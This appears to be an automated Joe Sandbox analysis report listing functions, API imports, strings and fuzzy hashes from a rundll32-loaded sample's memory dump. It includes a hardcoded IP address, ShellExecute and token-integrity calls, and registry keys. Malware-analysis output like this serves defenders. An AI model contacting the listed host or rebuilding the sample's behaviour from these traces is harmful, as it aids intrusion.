Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno_msizememsetrealloc
String ID:
API String ID: 1716158884-0
Opcode ID: cdc86eb51b19dd29fbdd1dbcc9e2dd10d7135d8ad8bd6beb6c08774733d5e7b7
Instruction ID: eee6de8c671426a850027d5845b58404d35e5bb09185fe1037511193ebe898ed
Opcode Fuzzy Hash: cdc86eb51b19dd29fbdd1dbcc9e2dd10d7135d8ad8bd6beb6c08774733d5e7b7
Instruction Fuzzy Hash: 7201A536715648C1F9869B27A4043D99251AB8CBE0F1DD720BF6A07BCBDE3DC6418700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018007F080 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 000000018007F0A2
memmove.MSVCRT(?,?,00000072,000000018007DC56), ref: 000000018007F0D7
memset.MSVCRT ref: 000000018007F0F3
_errno.MSVCRT ref: 000000018007F102

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno$memmovememset
String ID:
API String ID: 390474681-0
Opcode ID: 34773165fa903b58a8169a26407c6ce6a53d95ed58fc80f98c13fe875aa60091
Instruction ID: 14b1c1fe1981e25254dae316b1258392d266da5cf9c387dbe4ce1a9d85b7c1af
Opcode Fuzzy Hash: 34773165fa903b58a8169a26407c6ce6a53d95ed58fc80f98c13fe875aa60091
Instruction Fuzzy Hash: 2401D631B1469C42FAE66B56F0003EE5250AB8CBD0F48D020BF4557B8FCE2ECA968740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180064710 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180064746
FreeLibrary.KERNEL32 ref: 000000018006477F
LeaveCriticalSection.KERNEL32 ref: 0000000180064793
DeleteCriticalSection.KERNEL32 ref: 000000018006479D

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$DeleteEnterFreeLeaveLibrary
String ID:
API String ID: 2347899730-0
Opcode ID: 8ca6170e5c17e41b4a506002b7f4800d109eeedd4070b7d9029d326942e7e76d
Instruction ID: 48e8189d87aa0b979fc36c7d6fe6748a55851d8ea4777fada0444d8c8a940578
Opcode Fuzzy Hash: 8ca6170e5c17e41b4a506002b7f4800d109eeedd4070b7d9029d326942e7e76d
Instruction Fuzzy Hash: 6E117033605B4897EB558F21E9443A97360FB4A7B5F1897249B690BAA0CF78D2798300

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006A900 Relevance: 6.0, APIs: 4, Instructions: 41fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,000000018006A78C,00000000,00000008,00000000,000000018006AA37), ref: 000000018006A91E
_swprintf_c_l.LIBCMT ref: 000000018006A93A
ReadFile.KERNEL32 ref: 000000018006A955
_swprintf_c_l.LIBCMT ref: 000000018006A974

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File_swprintf_c_l$PointerRead
String ID:
API String ID: 1259558433-0
Opcode ID: 430f8c9727729296bcb3ae13e9e40dcee6c79fd9ad2c75f57ecad12c2e0545ef
Instruction ID: 41788915f12d7117270c0c242483de8f49aba279d1603b6e07884f1d05f749b7
Opcode Fuzzy Hash: 430f8c9727729296bcb3ae13e9e40dcee6c79fd9ad2c75f57ecad12c2e0545ef
Instruction Fuzzy Hash: 9B01F53172864881F7929B61AC407DBA3A1F74D7C4F65C022FA5543A64CF3DC748CB20

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A3F0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

??_U@YAPEAX_K@Z.MSVCRT(?,?,?,00000001800017BF), ref: 000000018001A413
memmove.MSVCRT(?,?,?,00000001800017BF), ref: 000000018001A426
??_U@YAPEAX_K@Z.MSVCRT(?,?,?,00000001800017BF), ref: 000000018001A43F
memmove.MSVCRT(?,?,?,00000001800017BF), ref: 000000018001A452

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: f48e30d42f7362a3489efc8b4fb4b1d86e67ce5bf115bf63e3aa4bcefc4ad982
Instruction ID: 461c31f9552aa3729a5e6565f135de1ccc8cc925f396947b96927f6322aea50e
Opcode Fuzzy Hash: f48e30d42f7362a3489efc8b4fb4b1d86e67ce5bf115bf63e3aa4bcefc4ad982
Instruction Fuzzy Hash: A6014B72604B8486DA999F02B84439AA6A4F799FC0F58C034AF9A1BB1ACE7CC2518700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D048 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180001900: SHGetPathFromIDListW.SHELL32 ref: 000000018000190C

StrCmpNIW.SHLWAPI ref: 000000018001D071
StrCmpNIW.SHLWAPI ref: 000000018001D08B

Part of subcall function 0000000180002DE4: wcsncmp.MSVCRT ref: 0000000180002E06
Part of subcall function 0000000180002DE4: wcsncmp.MSVCRT ref: 0000000180002E20

Strings

http://, xrefs: 000000018001D067
https://, xrefs: 000000018001D081

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcsncmp$FromListPath
String ID: http://$https://
API String ID: 1354619976-1916535328
Opcode ID: f0180345e040584d079c5b24169db75a70be302b2ca9e14ca998ae6b14b2d4e5
Instruction ID: 3b4f654c0190b1c660da69d9b707c9435e3e8476667423005c0f2b5f6a7ba28a
Opcode Fuzzy Hash: f0180345e040584d079c5b24169db75a70be302b2ca9e14ca998ae6b14b2d4e5
Instruction Fuzzy Hash: 21F06D30314B4D81FBD3AB22ED807E92361A74DBC0F08D026BE128B681EE29C79DC701

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B0D4 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018001B112
GetModuleFileNameW.KERNEL32 ref: 000000018001B129
PathRemoveFileSpecW.SHLWAPI ref: 000000018001B134
PathAddBackslashW.SHLWAPI ref: 000000018001B13F

Part of subcall function 0000000180015AF4: memmove.MSVCRT(?,?,?,0000000180013360), ref: 0000000180015B51

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FilePath$BackslashModuleNameRemoveSpecmemmovememset
String ID:
API String ID: 1398880316-0
Opcode ID: 124879481a9aa2e00d01ebae9109725b2fe3f2f688dd831a4adbc46c5dd73c81
Instruction ID: 22643bada24b11d976684183b583204a4ee84c872d42e87ba640a329a3643701
Opcode Fuzzy Hash: 124879481a9aa2e00d01ebae9109725b2fe3f2f688dd831a4adbc46c5dd73c81
Instruction Fuzzy Hash: 14015E71214A8882EA60DB21F85539A6320F78A7A9F404221BAAD476E9DF3DC24DCB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180073130 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__pctype_func.MSVCRT ref: 00000001800731E1

Strings

(null), xrefs: 00000001800731B1
(null), xrefs: 000000018007318A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: __pctype_func
String ID: (null)$(null)
API String ID: 3630429742-1601437019
Opcode ID: 0065adc6453a10d9ccc5162ae3c07d97aa8578f8e3d986a6a80ec195f80303d0
Instruction ID: 4da43dc6e52408ab09b3749884352dd554f5e104f70e5d3a12e7d890f492f9a7
Opcode Fuzzy Hash: 0065adc6453a10d9ccc5162ae3c07d97aa8578f8e3d986a6a80ec195f80303d0
Instruction Fuzzy Hash: 0F81F07221068886FBEB8F2880523E967A1F749BD4F44D115FE4A57798DF3ECA89C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180042CB8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 192COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0000000180042715), ref: 0000000180042D94

Part of subcall function 000000018001AD68: InitializeCriticalSection.KERNEL32(?,?,?,?,?,000000018001AFD5), ref: 000000018001ADCE

Strings

Cache-Control: no-cache, xrefs: 0000000180042E08
Connection: Keep-Alive, xrefs: 0000000180042DE3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharCriticalInitializeMultiSectionWide
String ID: Cache-Control: no-cache$Connection: Keep-Alive
API String ID: 2071930665-2797312137
Opcode ID: 390d372ab0f8ca9c8d35a5c5b59fa4f1daf8a60d35f223fc70caf0e07e2a75eb
Instruction ID: 06b1c2be51b69464b9694ee66dce0eee22d8a6c444c0793ba53430c965e4d999
Opcode Fuzzy Hash: 390d372ab0f8ca9c8d35a5c5b59fa4f1daf8a60d35f223fc70caf0e07e2a75eb
Instruction Fuzzy Hash: 6971B172300E9886EB96DF26D4807DD3760FB89BD8F86C625BE2947B85CF31D6598304

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003A138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 000000018003A3B9

Strings

map/set<T> too long, xrefs: 000000018003A3B2

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: map/set<T> too long
API String ID: 909987262-1285458680
Opcode ID: 4f8b5c4a4b7dfd174ba02e61296e3cf7ea921cc7912cdcef76d88542124505ce
Instruction ID: b716ba77de4695a230c5cde56cb36caf30baef682964767987e615475274616d
Opcode Fuzzy Hash: 4f8b5c4a4b7dfd174ba02e61296e3cf7ea921cc7912cdcef76d88542124505ce
Instruction Fuzzy Hash: 17419E32208F8881EAA2CF25E84039E73A4F399BE0F558225EF9D43B95DF39C556C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C31C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI ref: 000000018001C340
wcscmp.MSVCRT ref: 000000018001C398

Strings

RUNDLL32, xrefs: 000000018001C38E

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FileFindNamePathwcscmp
String ID: RUNDLL32
API String ID: 3222201028-252960710
Opcode ID: cb23065da29cb40e9b09dc38cb932cba9fa4c45224ed154b04bc2c1aad3b4612
Instruction ID: 4f5a5794d41fc096d520f70cd288b3f3e4e93d0d03317b7f7fc332b0f1d573f2
Opcode Fuzzy Hash: cb23065da29cb40e9b09dc38cb932cba9fa4c45224ed154b04bc2c1aad3b4612
Instruction Fuzzy Hash: 87412932711A5896EB919F39C84479C2360FB49BB8F548312EA3D47BE9DF34CA99C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019224 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800192B3
ExpandEnvironmentStringsW.KERNEL32 ref: 00000001800192CA

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Strings

%userprofile%, xrefs: 00000001800192C3, 0000000180019309

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: EnvironmentExpandHeapProcessStringsmemset
String ID: %userprofile%
API String ID: 513494641-4287493773
Opcode ID: 6171552488bcb95b8598f81a13bd2917bbfc5c9e60312d18e151e2b76805b3ef
Instruction ID: afa807702e792aa2111ef114b343d602a6a47e8eed4e3e29c3f3eed9658e9f14
Opcode Fuzzy Hash: 6171552488bcb95b8598f81a13bd2917bbfc5c9e60312d18e151e2b76805b3ef
Instruction Fuzzy Hash: 86214A31311A4891EA92DB65EC853DA3360FB88BE4F419215A66D473E1DF38C7898700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004AF08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32 ref: 000000018004AF73

Part of subcall function 00000001800495A4: GetTickCount.KERNEL32 ref: 00000001800495AC
Part of subcall function 00000001800495A4: srand.MSVCRT ref: 00000001800495B4
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495BA
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495CE
Part of subcall function 00000001800495A4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800495FA
Part of subcall function 00000001800495A4: GetTokenInformation.ADVAPI32 ref: 0000000180049629
Part of subcall function 00000001800495A4: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000180049636
Part of subcall function 00000001800495A4: GetLastError.KERNEL32 ref: 000000018004963F
Part of subcall function 00000001800495A4: GetSidSubAuthority.ADVAPI32 ref: 0000000180049658
Part of subcall function 00000001800495A4: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018004967B

Part of subcall function 00000001800494C4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800494DA

memset.MSVCRT ref: 000000018004AF8E

Strings

p, xrefs: 000000018004AF7D

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AuthorityCountCurrentProcess$ErrorExecuteInformationLastShellTickTokenmemsetsrand
String ID: p
API String ID: 526592482-2181537457
Opcode ID: db20606bd2f8c5ddcc62ab015699e8350b9eea6392e973e239eb88e586f6bc5b
Instruction ID: c7a46caf8343ac9de693e6305f929c410170157657da93c1511d6525c5ccc842
Opcode Fuzzy Hash: db20606bd2f8c5ddcc62ab015699e8350b9eea6392e973e239eb88e586f6bc5b
Instruction Fuzzy Hash: B221B632208F8885E7A1DF51F48078AB3A4F799BC4F158021BE8D43B59DF38C549CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004B054 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32 ref: 000000018004B0BF

Part of subcall function 00000001800495A4: GetTickCount.KERNEL32 ref: 00000001800495AC
Part of subcall function 00000001800495A4: srand.MSVCRT ref: 00000001800495B4
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495BA
Part of subcall function 00000001800495A4: GetCurrentProcessId.KERNEL32 ref: 00000001800495CE
Part of subcall function 00000001800495A4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800495FA
Part of subcall function 00000001800495A4: GetTokenInformation.ADVAPI32 ref: 0000000180049629
Part of subcall function 00000001800495A4: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000180049636
Part of subcall function 00000001800495A4: GetLastError.KERNEL32 ref: 000000018004963F
Part of subcall function 00000001800495A4: GetSidSubAuthority.ADVAPI32 ref: 0000000180049658
Part of subcall function 00000001800495A4: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018004967B

Part of subcall function 00000001800494C4: ??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800494DA

memset.MSVCRT ref: 000000018004B0DA

Strings

p, xrefs: 000000018004B0C9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AuthorityCountCurrentProcess$ErrorExecuteInformationLastShellTickTokenmemsetsrand
String ID: p
API String ID: 526592482-2181537457
Opcode ID: f2d62255b16ca96ed2cbf9c0141287d8586ff51f1b7a2213e7ec1c807b59ad21
Instruction ID: 630a19f9e7c8d33164371876bc9408f173fd4fcd3dffaf0243fab21a92527801
Opcode Fuzzy Hash: f2d62255b16ca96ed2cbf9c0141287d8586ff51f1b7a2213e7ec1c807b59ad21
Instruction Fuzzy Hash: E1217432204F8885E7A1DF61F48078AB7A4F788BC4F558121FE8883B5ADF38C654CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005AFB8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI ref: 000000018005B020

Strings

MsgCenter, xrefs: 000000018005AFE8
opentime_afterinstall, xrefs: 000000018005B00D

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID: MsgCenter$opentime_afterinstall
API String ID: 3702945584-3718352646
Opcode ID: bc51746a4845ef3513b79512763e58b7b7c59a9adac5c6c1a917732545d0aad2
Instruction ID: 9121a4dbc030fef007b745f88a0fe18748c482634fd5ebee216f5006264a8ac8
Opcode Fuzzy Hash: bc51746a4845ef3513b79512763e58b7b7c59a9adac5c6c1a917732545d0aad2
Instruction Fuzzy Hash: AC116A72600B4482EB508F29E44438AB760F789BF4F108316EB79437E4CF79C688CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180074CC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40sleepthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000000180074CD8
Sleep.KERNEL32(?,171.8.167.45,?,0000000180074FBF,?,?,?,?,?,?,000000018006F6BE), ref: 0000000180074CF4

Strings

171.8.167.45, xrefs: 0000000180074CCB

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CurrentSleepThread
String ID: 171.8.167.45
API String ID: 1164918020-2723241389
Opcode ID: b82daa9be066ead2ec14612a1a02b00537e7c47846788e1f0fd2d6a2c4d35c95
Instruction ID: 739a1f1183ec9c18e579ba8ee55cb859ca32a6d953d7c9429809cc63265ca520
Opcode Fuzzy Hash: b82daa9be066ead2ec14612a1a02b00537e7c47846788e1f0fd2d6a2c4d35c95
Instruction Fuzzy Hash: B201D13370425586E7A3DFA9B88039E66A0F74C7E0F058431FF4487655EF79C99A8B80

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005B060 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SHSetValueW.SHLWAPI ref: 000000018005B0BD

Strings

MsgCenter, xrefs: 000000018005B07E
opentime_afterinstall, xrefs: 000000018005B0AA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID: MsgCenter$opentime_afterinstall
API String ID: 3702945584-3718352646
Opcode ID: 5bc7ba386a7905614b99b0fc8fa89d0a447947fd7441929353b8c1a08fc42a0a
Instruction ID: 21b9b515d364e76d08f8b9de98a0e6c83aa7314f475d7e108810017b28aec3e9
Opcode Fuzzy Hash: 5bc7ba386a7905614b99b0fc8fa89d0a447947fd7441929353b8c1a08fc42a0a
Instruction Fuzzy Hash: DA0188B2611B4482DB10DF69D854389B760F788BB0F00831AEA79137E4DF78C699CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008455E Relevance: 5.0, APIs: 4, Instructions: 43COMMON

